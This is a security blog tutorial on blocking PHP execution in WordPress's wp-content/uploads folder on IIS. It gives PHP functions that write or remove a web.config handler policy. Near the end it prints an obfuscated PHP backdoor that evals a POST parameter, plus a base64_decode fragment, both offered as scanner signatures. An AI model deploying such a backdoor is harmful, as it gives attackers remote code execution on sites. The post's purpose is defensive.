You are here: Saotn.org » Security » Secure WordPress uploads folder, disable PHP execution

Secure WordPress uploads folder, disable PHP execution

Deny direct access to PHP files in wp-content/uploads/

The following PHP function secures your WordPress website by disabling the execution of PHP scripts in wp-content/uploads, on Windows Server IIS web servers. It creates a web.config file for this purpose.

How to disable PHP in wp-content/uploads

The PHP execution in wp-content/uploads (aka WP_CONTENT_DIR/uploads) is disabled by writing a web.config file containing an accessPolicy for handlers. This accessPolicy tells IIS what a handler -such as PHP- can, and cannot do: execute, read, and/or write for example

Please note that this will only partially secure your WordPress website, but not fully! You must take other security measures as well. For example, you can use a .htaccess as a web application firewall (WAF), to block out some vulnerabilities based on their request characteristics. Or you can use a HTTP blacklist to block out IP addresses known to abuse websites.

The web.config accessPolicy only works on IIS 7.0+ Windows Server web servers, consult your web hosting provider for more information.


Securing the WordPress uploads folder is important. In many hacked WordPress sites, a PHP backdoor is found within the WP_CONTENT_DIR/uploads directory. Often because this is the location where uploads are placed automatically. From the backdoor within wp-content/uploads other backdoors are uploaded to various locations, and scripts are injected with malware.

Disable the execution of PHP scripts in wp-content/uploads

As always, the PHP code is provided AS-IS.

The PHP code to write a web.config file comes partially from the WordPress functions iis7_add_rewrite_rule() and saveDomDocument(), both found in wp-admin/includes/misc.php.

It shouldn’t be too hard for you to wrap this in a WordPress plugin:

<?php function disable_script_execution() { $is_iis7 = true; $path = WP_CONTENT_DIR . '/uploads'; $filename = 'web.config'; if ( $is_iis7 ) { if ( ! file_exists( $path . '/' . $filename ) ) { $fp = fopen( $path . '/' . $filename, 'w' ); fwrite( $fp, '<configuration/>' ); fclose( $fp ); } $formatxml = PHP_EOL; $formatxml = " <handlers accessPolicy=\"Read\" />"; $formatxml .= PHP_EOL; $doc = new DOMDocument(); $doc->preserveWhiteSpace = true; if ( $doc->load( $path . '/' . $filename) === false ) { return false; } $xpath = new DOMXPath( $doc ); $read_accesspolicy = $xpath->query( '/configuration/system.webServer/handlers[starts-with(@accessPolicy,\'Read\')]' ); if ( $read_accesspolicy->length > 0 ) { return true; } $xmlnodes = $xpath->query( '/configuration/system.webServer/handlers' ); if ( $xmlnodes->length > 0 ) { $handlers_node = $xmlnodes->item(0); } else { $handlers_node = $doc->createElement( 'handlers' ); $xmlnodes = $xpath->query( '/configuration/system.webServer' ); if ( $xmlnodes->length > 0 ) { $system_webServer_node = $xmlnodes->item(0); $handler_fragment = $doc->createDocumentFragment(); $handler_fragment->appendXML( $formatxml ); $system_webServer_node->appendChild( $handler_fragment ); } else { $system_webServer_node = $doc->createElement( 'system.webServer' ); $handler_fragment = $doc->createDocumentFragment(); $handler_fragment->appendXML( $formatxml ); $system_webServer_node->appendChild( $handler_fragment ); $xmlnodes = $xpath->query( '/configuration' ); if ( $xmlnodes->length > 0 ) { $config_node = $xmlnodes->item(0); $config_node->appendChild( $system_webServer_node ); } else { $config_node = $doc->createElement( 'configuration' ); $doc->appendChild( $config_node ); $config_node->appendChild( $system_webServer_node ); } } } $rule_fragment = $doc->createDocumentFragment(); $rule_fragment->appendXML( $formatxml ); $handlers_node->appendChild( $rule_fragment ); $doc->encoding = "UTF-8"; $doc->formatOutput = true; saveDomDocument( $doc, $path .'/'. $filename ); return true; } }

By disabling PHP in the uploads directory, your WordPress site is a little bit more secured. The, somewhat older, Smashing Magazine post Common WordPress Malware Infections gives great insight in common WordPress (core, theme, plugin) vulnerabilities and how they’re abused.

wp-content/uploads/web.config result

The function above creates the following web.config file in your wp-content/uploads directory:

<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read"/> </system.webServer> </configuration>

This tells IIS that handlers (such as PHP) may only read, and not execute. If you don’t want to create a WordPress plugin, you can copy/paste the above code into a new file and save it as web.config. Upload the file to your wp-content/uploads folder. Be careful not to upload it to a different folder.

Re-enable PHP script execution

If you want to re-enable PHP script execution, you can simply delete the web.config file from the wp-content/uploads directory. Or you can programmatic enable PHP by deleting the <handlers accessPolicy="Read"/> line:

<?php function enable_script_execution() { $is_iis7 = true; $path = WP_CONTENT_DIR . '/uploads'; $filename = 'web.config'; if ( $is_iis7 ) { if ( ! file_exists( $path . '/' . $filename ) ) { return true; } $doc = new DOMDocument(); $doc->preserveWhiteSpace = false; if ( $doc->load( $path . '/' . $filename ) === false ) { return false; } $xpath = new DOMXPath($doc); $handlers = $xpath->query( '/configuration/system.webServer/handlers[contains(@accessPolicy,\'Read\')]' ); if ( $handlers->length > 0 ) { $child = $handlers->item(0); $parent = $child->parentNode; $parent->removeChild( $child ); $doc->formatOutput = true; saveDomDocument( $doc, $path .'/'. $filename ); } } return true; } ?>

Example PHP backdoor found in wp-content/uploads

An example of a PHP backdoor you may find is the following one. You can use the PHP backdoor code for signatures in your automated backdoor scanning tools or grep regular expressions.

/wp-content/uploads/2009/12/files.php:

<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); if (isset(${$s20}['n23f412'])) { eval($s21(${$s20}['n23f412'])); } ?>

/wp-content/uploads/functions.php:

$tddbvdlvz="base64_decode";return $tddbvdlvz($gnce);}

Preventing the execution of PHP in wp-content/uploads prevents these exploits from spreading. But you still need to address the cause in your website.

1 thought on “Secure WordPress uploads folder, disable PHP execution”

Leave a Reply

Your email address will not be published. Required fields are marked *